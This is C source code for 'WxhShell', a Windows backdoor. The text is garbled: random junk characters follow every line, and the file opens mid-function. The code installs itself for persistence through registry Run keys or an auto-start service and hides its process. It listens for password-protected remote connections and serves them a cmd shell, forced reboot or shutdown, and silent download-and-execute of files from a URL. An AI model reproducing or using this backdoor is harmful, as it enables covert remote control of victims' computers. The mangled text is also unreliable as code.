    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fAm2ls7c  
    if(Boot(SHUTDOWN)) bVrvb`0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oy |@m|J  
    else { NSkI2>+P  
    closesocket(wsh); Av[jFk  
    ExitThread(0); OL=bhZ  
    } BdYh:  
    break; /[-hJ=< Yb  
    } lDA%M3(p  
  // 获取shell :=8vy  
  case 's': { u J$"2<O  
    CmdShell(wsh); Q7s1M&K  
    closesocket(wsh); [+1 i$d  
    ExitThread(0); >w'6ZDA*X  
    break; 0'<S7?~|  
  } S,v`rmI  
  // 退出 !`WuLhB`  
  case 'x': {  5-J-Tn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^m7PXY  
    CloseIt(wsh); 8 , =$>@u  
    break; *Zvw&y*  
    } oa4}GNH  
  // 离开 iOyYf!yg  
  case 'q': { g$tW9 Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @PI\.y_w  
    closesocket(wsh); (1o^Dn3  
    WSACleanup(); Ob6vg^#  
    exit(1); 3m^BYr*y^  
    break; 4>W`XH  
        } G1l(  
  } j{PX ~/  
  } 7MfT~v  
B?M+`;  
  // 提示信息 wfdFGoy(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s6$3[9Vh&9  
} 7PMZt$n  
  } fS ~.K9  
2Ar<(v$  
  return; i~;8'>:|,M  
} xI@~Ig  
x\%eg w  
// shell模块句柄 zxh"@j$?  
int CmdShell(SOCKET sock) "OPUGwf  
{ t'J fiGM  
STARTUPINFO si; Hj!)S&y,$  
ZeroMemory(&si,sizeof(si));  /F_ :@#H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1 W0;YcT]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =6sXZ"_Tw  
PROCESS_INFORMATION ProcessInfo; W)#`4a^xj7  
char cmdline[]="cmd"; (TE2t7ab|M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =%3nKSg  
  return 0; o;[oy#aWl_  
} 9ZBF1sMg  
/\#5\dHj  
// 自身启动模式 I?>#neHc6  
int StartFromService(void) |(S W  
{ !r|X6`g  
typedef struct #RF=a7&F  
{ C gx?K]>y  
  DWORD ExitStatus; 0 OBkd  
  DWORD PebBaseAddress; p{rS -`I  
  DWORD AffinityMask; zgqw*)C~  
  DWORD BasePriority; ZYA(Bg^  
  ULONG UniqueProcessId; #-;BU{3*  
  ULONG InheritedFromUniqueProcessId; qo@dFKy  
}   PROCESS_BASIC_INFORMATION; 6fkr!&Dy7  
pd#/;LT  
PROCNTQSIP NtQueryInformationProcess; =CoT{LRQ_  
<IVz mzpL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OL rD4 e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aM~fRra7  
Iqsk\2W]a3  
  HANDLE             hProcess; Bu1z$#AC  
  PROCESS_BASIC_INFORMATION pbi; k 3 l  
q8Dwu3D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +]-KzDsr"V  
  if(NULL == hInst ) return 0; {Fi@|'  
ZkW@|v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &wN 2l-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); to3J@:V8e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [Ni4[\  
IMza 2  
  if (!NtQueryInformationProcess) return 0; spJ(1F{|V  
Q$1K{14I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z+"&{g  
  if(!hProcess) return 0; ?^~"x.<nr  
E0Q"qEvU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^%&x{F.  
>A&@Wp1  
  CloseHandle(hProcess); er0D5f R  
!9, pX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $]kg_l)  
if(hProcess==NULL) return 0; ImY.HB^&  
ZRB 0OH  
HMODULE hMod; #ja`+w}  
char procName[255]; hli 10p$  
unsigned long cbNeeded; QIK73^  
kA__*b}8UK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?Z>.G{Wm@  
{yR)}r  
  CloseHandle(hProcess); It4z9Gh  
Nb~dw;t  
if(strstr(procName,"services")) return 1; // 以服务启动 AxlFU~E4  
f_ztnRw  
  return 0; // 注册表启动 ;YDF*~9u  
} @@83PJFid  
xXZKj  
// 主模块 m>ycN  
int StartWxhshell(LPSTR lpCmdLine) aMQjoamz  
{ Jv <$AI  
  SOCKET wsl; -j_I_  
BOOL val=TRUE; T-C#xmY(  
  int port=0; m > (h_j  
  struct sockaddr_in door; WuFwt\U  
R:<@+z^A[  
  if(wscfg.ws_autoins) Install(); zpqGh  
_}OJPahw  
port=atoi(lpCmdLine); ]M;6o@hq  
W@,p9=425  
if(port<=0) port=wscfg.ws_port; 5 xDN&su  
]^9* t,{9  
  WSADATA data; \bm6/fhA:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cmhN(==  
"F$o!Vk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k%}89glm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H'{?aaK|t  
  door.sin_family = AF_INET; DBJA}Cw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =5~F6to  
  door.sin_port = htons(port); _1<'"u#6w  
tRnW%F5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1/ pA/UVO  
closesocket(wsl); vo ;F;  
return 1; N4 mJU'_{  
} 99 "[b  
.l+~)$  
  if(listen(wsl,2) == INVALID_SOCKET) { *fi;ZUPW3  
closesocket(wsl); ej%;%`C-  
return 1; yW^IN8fm  
} {R-82%X  
  Wxhshell(wsl); 'd #\7J>d  
  WSACleanup(); qzA]2'~Q  
Z.':&7Y  
return 0; ncattp   
c5E#QV0&v~  
} knOn UU  
u'i%~(:$\)  
// 以NT服务方式启动 yd ND$@; Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F|l`YtZZd  
{ kAN;S<jSE  
DWORD   status = 0; Y/,$Y]%g  
  DWORD   specificError = 0xfffffff; =+`j?1  
f{Fe+iPc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~r^5-\[hZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x}&a{;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g&+Y{*Gp  
  serviceStatus.dwWin32ExitCode     = 0; qC1U&b#MVx  
  serviceStatus.dwServiceSpecificExitCode = 0; QW~5+c9JJ  
  serviceStatus.dwCheckPoint       = 0; "f|(@a  
  serviceStatus.dwWaitHint       = 0; N3gNOq&  
*)bd1B#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j\'+wVyo  
  if (hServiceStatusHandle==0) return; 3XwU6M$5g  
NdsX*o@a  
status = GetLastError(); X#DL/#z k  
  if (status!=NO_ERROR) N xb\[  
{ _t|G@D{   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [.;%\>Qk<  
    serviceStatus.dwCheckPoint       = 0; - LiPHHX<  
    serviceStatus.dwWaitHint       = 0; *:9 >W$0u  
    serviceStatus.dwWin32ExitCode     = status; K2xH'v O(  
    serviceStatus.dwServiceSpecificExitCode = specificError; I{42'9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6!+X.+  
    return; M_h8#7{G  
  } %e Sm&`  
kqD*TJA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &^&$!Xmu9  
  serviceStatus.dwCheckPoint       = 0; o)tKH@`vE  
  serviceStatus.dwWaitHint       = 0; N&fW9s}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NTm<6Is`  
} N )zPxQ  
K lli$40  
// 处理NT服务事件,比如:启动、停止 xN`r4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]bTzbu@  
{ u3Usq=Ij{  
switch(fdwControl) hIVI\U,  
{ "Su b4F`  
case SERVICE_CONTROL_STOP: m!5HRjOO  
  serviceStatus.dwWin32ExitCode = 0; 4[TS4p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UU iNR  
  serviceStatus.dwCheckPoint   = 0; q]"2hLq  
  serviceStatus.dwWaitHint     = 0; C}mYt/  
  { @sw9A93A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X!o[RJY  
  } qGnPnQc  
  return; uw Kh  
case SERVICE_CONTROL_PAUSE: -uA3Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]8$#qDS@  
  break; qr)v'aC3  
case SERVICE_CONTROL_CONTINUE: i}PK $sa#c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4llD6&%  
  break; }_{y|NW  
case SERVICE_CONTROL_INTERROGATE: 2J;kD2"!  
  break; I %|@3=Yc  
}; t_dcV%=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @[MO,J&h  
} (9mbF%b  
UrO=!Gk  
// 标准应用程序主函数 { p1lae  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J| SwQE~  
{ LH=d[3Y  
"jL1. 9%"  
// 获取操作系统版本 {TyCj?3B  
OsIsNt=GetOsVer(); 8P,l>HA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Mv.Ciyc  
w4\BD&7V  
  // 从命令行安装 H LjvKE=W  
  if(strpbrk(lpCmdLine,"iI")) Install(); &Nc[$H7<  
wgY6D!Y   
  // 下载执行文件 izMYVI?0  
if(wscfg.ws_downexe) { O( VxMO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UT3bd,,  
  WinExec(wscfg.ws_filenam,SW_HIDE); h&lyxYZ+T$  
} 5;W\2yj  
Q  |  
if(!OsIsNt) { t]s94 R q  
// 如果时win9x,隐藏进程并且设置为注册表启动 :?HSZocf  
HideProc(); OmB TA=E<  
StartWxhshell(lpCmdLine); `-VG ?J  
} >s&XX, w  
else ;\N79)Gk  
  if(StartFromService()) 60"5?=D  
  // 以服务方式启动 B@ -|b  
  StartServiceCtrlDispatcher(DispatchTable); O!;H}{[dg  
else pe|X@o  
  // 普通方式启动 wGg0 hL  
  StartWxhshell(lpCmdLine); .iFViVZC  
]?[zx'|  
return 0; Pp ,Um(  
} R7lYu\mA  
]k[x9,IU\y  
HLVQ7  
J*5hf:?i  
=========================================== _B)s=Snx  
/vHYM S  
7 0_}S*T  
zm> >} 5R  
_ w/_(k  
$; ?c?n+  
" %NNj9Bl<VV  
0!pJ5q ,A  
#include <stdio.h> Z a! gbt  
#include <string.h> `%e|$pK  
#include <windows.h> <PX.l%  
#include <winsock2.h> >?z:2@Q)B  
#include <winsvc.h> u t$c)_  
#include <urlmon.h> :vpl+)n  
Z:!IX^q;}n  
#pragma comment (lib, "Ws2_32.lib") xk& NAB  
#pragma comment (lib, "urlmon.lib") kVd5,Qd  
V\0E=M*P  
#define MAX_USER   100 // 最大客户端连接数 GWhE8EDT  
#define BUF_SOCK   200 // sock buffer GMl"{ Oxo&  
#define KEY_BUFF   255 // 输入 buffer P$g^vS+  
_ Hc%4I  
#define REBOOT     0   // 重启 _BbvhWN&+  
#define SHUTDOWN   1   // 关机 Nb0Ik/:<  
58::h. :  
#define DEF_PORT   5000 // 监听端口 k@yh+v5  
5$kdgFq(  
#define REG_LEN     16   // 注册表键长度 S#tY@h@XV  
#define SVC_LEN     80   // NT服务名长度 Goxl3LS<  
U9 #w  
// 从dll定义API !}_b|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m^<p8KZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @o6R[5(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jXixVNw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #.H}r6jqs  
++b$E&lYU  
// wxhshell配置信息 {=67XrWN1  
struct WSCFG { M ,`w A  
  int ws_port;         // 监听端口 \8e2?(@"k  
  char ws_passstr[REG_LEN]; // 口令 wjrG7*_Y4v  
  int ws_autoins;       // 安装标记, 1=yes 0=no cMaOM}mS  
  char ws_regname[REG_LEN]; // 注册表键名 c;9.KCpwx  
  char ws_svcname[REG_LEN]; // 服务名 1fH<VgF`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \|.7-X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nBkh:5E5%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0 Qnd6mb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @ &pqt6/t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dxK9:IX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k[ %aCGo  
3@_Elu  
}; le8 #Z}p  
{WQq}-(  
// default Wxhshell configuration :S -";.:"  
struct WSCFG wscfg={DEF_PORT, py @( <  
    "xuhuanlingzhe", iG#}`  
    1, I`T1Pll  
    "Wxhshell", nn+_TMu  
    "Wxhshell", |0g{"}%  
            "WxhShell Service", 5wv fF.v  
    "Wrsky Windows CmdShell Service", tlQC6Fb#  
    "Please Input Your Password: ", H;Ku w  
  1, nls   
  "http://www.wrsky.com/wxhshell.exe", "j^MB)YD  
  "Wxhshell.exe" GSi>l,y'  
    }; $,ikv?"L  
O6X"RsI}  
// 消息定义模块 LHkQ'O0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PX2c[CDE^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wMWW=$h#\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9AQxNbs  
char *msg_ws_ext="\n\rExit."; cE\>f8 I  
char *msg_ws_end="\n\rQuit."; XKS8K4"  
char *msg_ws_boot="\n\rReboot..."; i{Ds&{  
char *msg_ws_poff="\n\rShutdown..."; @kxel`,$e  
char *msg_ws_down="\n\rSave to "; sILSey5`  
02=lsV!U  
char *msg_ws_err="\n\rErr!"; S\*`lJzPM  
char *msg_ws_ok="\n\rOK!"; O"Q7Rx  
ok{!+VCB5  
char ExeFile[MAX_PATH]; SwW['c'*]B  
int nUser = 0; -1u9t4+`  
HANDLE handles[MAX_USER]; %\Wf^6Y^  
int OsIsNt; tU :EN;H  
$n!K6fkX%  
SERVICE_STATUS       serviceStatus; LT VF8-v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fuMJdAuY7d  
WQ6"0*er  
// 函数声明 gE])!GMM3  
int Install(void); Ef)yQ  
int Uninstall(void); f0>!qt  
int DownloadFile(char *sURL, SOCKET wsh); ,r8Tbk]m  
int Boot(int flag); oD.r `]k  
void HideProc(void); Bd~1P/  
int GetOsVer(void); mJ}opy!{;  
int Wxhshell(SOCKET wsl); A/}W&bnluD  
void TalkWithClient(void *cs); ] )}]/Qw  
int CmdShell(SOCKET sock); +>\id~c(  
int StartFromService(void); wW>fVP r  
int StartWxhshell(LPSTR lpCmdLine); IzLQhDJ1  
`5~3G2T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SF[FmN!^^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %$5H!!~o  
yuhnYR\`m  
// 数据结构和表定义 XYr J/!*.  
SERVICE_TABLE_ENTRY DispatchTable[] = 8|%^3O 0X  
{ ,9D+brm  
{wscfg.ws_svcname, NTServiceMain}, Zd:Taieh@  
{NULL, NULL} &--ej|n  
}; rXfy!rD_P_  
?OlV"zK  
// 自我安装 iyta;dw9  
int Install(void) qIMA6u/  
{ \S~Vx!9w  
  char svExeFile[MAX_PATH]; F4L;BjnJ  
  HKEY key; oXXC@[??}N  
  strcpy(svExeFile,ExeFile); L+}n@B  
cLVeT  
// 如果是win9x系统,修改注册表设为自启动 U}k9 Py  
if(!OsIsNt) { 'T<iHV&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { umi5Wb<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \QE)m<GUe  
  RegCloseKey(key); /FP5`:PfL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P [Uy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U.!lTLjfLz  
  RegCloseKey(key); j _L@U2i  
  return 0; :Bu2,EL*O  
    } j hbonuV_  
  } A][fLlpr  
} ]n."<qxeT  
else { 6 GP p>X  
E.|-?xQ6  
// 如果是NT以上系统,安装为系统服务 L2Pujk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4k-+?L!/G  
if (schSCManager!=0) jh2t9SI~  
{ v[e:qi&fG  
  SC_HANDLE schService = CreateService O3DmNq$dz  
  ( 7\FXz'hA  
  schSCManager, ,L bBpi=TJ  
  wscfg.ws_svcname, _BdE< !r  
  wscfg.ws_svcdisp, :+Om]#`Vls  
  SERVICE_ALL_ACCESS, R218(8S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lKZB?Kk^w\  
  SERVICE_AUTO_START, Suk  
  SERVICE_ERROR_NORMAL, ?;/^Ya1;Z  
  svExeFile, K*UgX(xu4P  
  NULL, ivDGZI9  
  NULL, D%6;^^WyUx  
  NULL, om?-WJI  
  NULL, r}[7x]sP  
  NULL Wjhvxk  
  ); EnOU?D  
  if (schService!=0) ib{-A&  
  { ; bHV  
  CloseServiceHandle(schService); `\Hf]b  
  CloseServiceHandle(schSCManager); FFdBtB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b)(?qfXWP  
  strcat(svExeFile,wscfg.ws_svcname); ;JZS^Wa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `W/sP\3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sVG(N.y  
  RegCloseKey(key); mU}F!J#6  
  return 0; F1L:,.e`  
    } <! )**  
  } C4TE-OM8  
  CloseServiceHandle(schSCManager); K2%w0ohC  
} .{y uo{u  
} ,U(1NK8o  
9]q:[zm^  
return 1; Sb~MQ_  
} ?QE,;QtpK  
[1.+H yJ}  
// 自我卸载 ~ vqa7~}m  
int Uninstall(void) \=_{na_  
{ r@ZJ{4\Q  
  HKEY key; kbM3  
E[Cb|E  
if(!OsIsNt) { " Hd|7F'u=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E Cyyl  
  RegDeleteValue(key,wscfg.ws_regname); pb~pN  
  RegCloseKey(key); GnvL'ESa@M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !.d@L6  
  RegDeleteValue(key,wscfg.ws_regname); V+O"j^Z_J  
  RegCloseKey(key); E*+{t~  
  return 0; 8By|@LO  
  } LD!Q8"  
} uu`G 2[t  
} s6>ZREf#J  
else { Yk=PS[f  
>$4d7.^hb/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B ~OZ2-~  
if (schSCManager!=0) fkac_X$7  
{ o"*AtGR+"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1dK*y'rx  
  if (schService!=0) ght$9>'n  
  { H)n9O/u  
  if(DeleteService(schService)!=0) { D-c`FG'  
  CloseServiceHandle(schService); jYKor7KTqT  
  CloseServiceHandle(schSCManager); 1')%`~  
  return 0; uC cYPvm  
  } irfp!(r  
  CloseServiceHandle(schService); 9Q"'" b*?z  
  } 0\eIQp  
  CloseServiceHandle(schSCManager); R6(oZph  
} @Z12CrJ  
} >rf'-X4n  
>D4# y  
return 1; fZoHf\B]{  
} ^0 -:G6H  
x@ms  
// 从指定url下载文件 /{&tY: ;m  
int DownloadFile(char *sURL, SOCKET wsh) V;v8=1t!  
{ 9g mW&{6q  
  HRESULT hr; =|Y,+/R?  
char seps[]= "/"; P}4QQw  
char *token; ajEjZ6  
char *file; t;}:waZD  
char myURL[MAX_PATH]; (=om,g}  
char myFILE[MAX_PATH]; P09;ng67  
1]p ZrBh"E  
strcpy(myURL,sURL); OOo3G~2r  
  token=strtok(myURL,seps); ;<ZLc TL  
  while(token!=NULL) V{!J-nO  
  { Eq j_m|@  
    file=token; 2%_vXo=I  
  token=strtok(NULL,seps); +8RgF   
  } ):[7E(F=  
H["`Mn7j2  
GetCurrentDirectory(MAX_PATH,myFILE);  z62;cv  
strcat(myFILE, "\\"); XzEc2)0'v  
strcat(myFILE, file); )84~ugs  
  send(wsh,myFILE,strlen(myFILE),0); !]=d-RGNe  
send(wsh,"...",3,0); {y_98N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]d! UJ&<?  
  if(hr==S_OK) UdpF@Q  
return 0; oY933i@l)P  
else $}!p+$  
return 1; `ojoOB^L  
\nPEyw,U  
} H}hiT/+$  
~?K~L~f5  
// 系统电源模块 rustMs2p  
int Boot(int flag) hpO`]  
{ %H]ptH5  
  HANDLE hToken; m}7iTDJR9  
  TOKEN_PRIVILEGES tkp; @`q:IIgW  
VHIOwzC  
  if(OsIsNt) { XovRg,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iO|se:LY<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wk5s)%V  
    tkp.PrivilegeCount = 1; _./Sk|C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v|dBSX9k0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XAF+0 x!  
if(flag==REBOOT) { 6ZP(E^.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {xXsBh Y  
  return 0; A#EDk U,  
} [XEkz#{  
else { _V7s#_p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g/CSG IIT  
  return 0; wl#@lOv-P  
} ,$s8GAmq  
  } O$_)G\\\m  
  else { |}=acc/  
if(flag==REBOOT) { /_I]H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RI(DXWM|h  
  return 0; *U&0<{|T  
} "_-Po^u=r  
else { Azl&mu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~A'!2  
  return 0; ,!#*GZ.ix  
} vq(0OPj8r[  
} |H;F7Y_  
%4et&zRC  
return 1; "s0)rqf<  
} TaKLzd2  
2 ^h27A  
// win9x进程隐藏模块 gQ Fjr_IS#  
void HideProc(void) (^T F%(H  
{ ,|y:" s  
le/,R@]B9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JtYP E?  
  if ( hKernel != NULL ) }B\a<0L/  
  { g{OwuAC_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #`CA8!j!!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  M+||rct  
    FreeLibrary(hKernel); 6#7Lm) g8  
  }  oM2l-[-  
[uC ]*G]  
return; xS4w5i2  
} V58wU:li  
3!XjtVhK?I  
// 获取操作系统版本 ORe(]I`Z  
int GetOsVer(void) WA)yfo0A  
{ R!\_rc1/  
  OSVERSIONINFO winfo; EMwS1~3dD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +ga k#M"n\  
  GetVersionEx(&winfo); Rdvk ml@@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iU$] {c2;A  
  return 1; {XR6>]  
  else O#:$^#j&  
  return 0; ] o*#t  
} PRu 6xsyA  
ub^h&= \S  
// 客户端句柄模块 q)X$^oE!6  
int Wxhshell(SOCKET wsl) *X'Y$x>f  
{ K1mPr^3rC  
  SOCKET wsh; -+(jq>t  
  struct sockaddr_in client; zMbN;tu  
  DWORD myID; I4/8 _)b^  
{MtpkUN  
  while(nUser<MAX_USER) t3*wjQ3  
{ ]zj9A]i:a  
  int nSize=sizeof(client); $?Yry. 2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4r>6G/b8*  
  if(wsh==INVALID_SOCKET) return 1; sGy eb5c  
sF!($k;!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;&< {ey  
if(handles[nUser]==0) UW N*j_9i  
  closesocket(wsh); 2D75:@JL}|  
else v\KA'PmiP  
  nUser++; FQu8 vwV6>  
  } xSktg]u Se  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e- :yb^  
&+Z,hs9%  
  return 0; Wvbf"hq  
} msP{l^%0  
f[<m<I  
// 关闭 socket 0Vlk;fIh  
void CloseIt(SOCKET wsh) R<\F:9  
{ q$I;dOCJ,  
closesocket(wsh); h].<t&  
nUser--; ]RPs|R?  
ExitThread(0); xf<at->  
} o< |cA5f\  
<'qeXgi  
// 客户端请求句柄 iq8Grd L"  
void TalkWithClient(void *cs) /qMG=Z  
{ _,p/l&<  
-}nxJH)  
  SOCKET wsh=(SOCKET)cs; ozmrw\_}[  
  char pwd[SVC_LEN]; rf $QxJ  
  char cmd[KEY_BUFF]; S{]x  
char chr[1]; *@Lp`thq  
int i,j; pf1BN@ t  
ock Te5U  
  while (nUser < MAX_USER) { Z>QF#."m  
!TAlB kj  
if(wscfg.ws_passstr) { 'Q|M'5'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QqFR\6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -m)X]]~C  
  //ZeroMemory(pwd,KEY_BUFF); kStnb?nk  
      i=0; #xho[\  
  while(i<SVC_LEN) { &ib5* 4!  
h]Wr [v  
  // 设置超时 f$+,HB  
  fd_set FdRead; K~c=M",mW  
  struct timeval TimeOut; T=iJGRctB  
  FD_ZERO(&FdRead); aoTM  
  FD_SET(wsh,&FdRead); &+cEV6vb+  
  TimeOut.tv_sec=8; 6VS4y-N  
  TimeOut.tv_usec=0; Lx\ 8Z=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A0o-:n Fu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SG6kud\b  
&|Bc7+/P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FG%X~L<d,)  
  pwd=chr[0]; uD}2<$PP  
  if(chr[0]==0xd || chr[0]==0xa) { O[I\A[*  
  pwd=0; c9HrMgW  
  break; w$+&3t  
  } K?[q% W]%  
  i++; MLoYnR^  
    } E0Y-7&Fv  
WlB  
  // 如果是非法用户,关闭 socket 24E}<N,g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C9~52+S  
} 4,sJE2"[9  
xAK6pDp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .LZwuJ^;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @aAW*D~-J  
4[.oPK=i  
while(1) { u])b,9&En  
tasIDoo+!J  
  ZeroMemory(cmd,KEY_BUFF); ?\vh9  
S4'   
      // 自动支持客户端 telnet标准   !qv ea,vw  
  j=0; q#T/  
  while(j<KEY_BUFF) { >64P6P;S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S& S Q  
  cmd[j]=chr[0]; Jbjmv: db  
  if(chr[0]==0xa || chr[0]==0xd) { G`n_YH084  
  cmd[j]=0; mp=z  
  break; o<[#0T^K   
  } ] Bcp;D  
  j++; PMN jn9d  
    } {l>yi  
<}E!w_yi  
  // 下载文件 &^#VN%{  
  if(strstr(cmd,"http://")) { eZSNNgD<:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8dO!  
  if(DownloadFile(cmd,wsh)) M[mF8Zf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ont%eC\  
  else /JHc!D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }])oM|fgO  
  } Bk*F_>X"  
  else { gu0j.XS^  
iH/6M  
    switch(cmd[0]) { <~6h|F8  
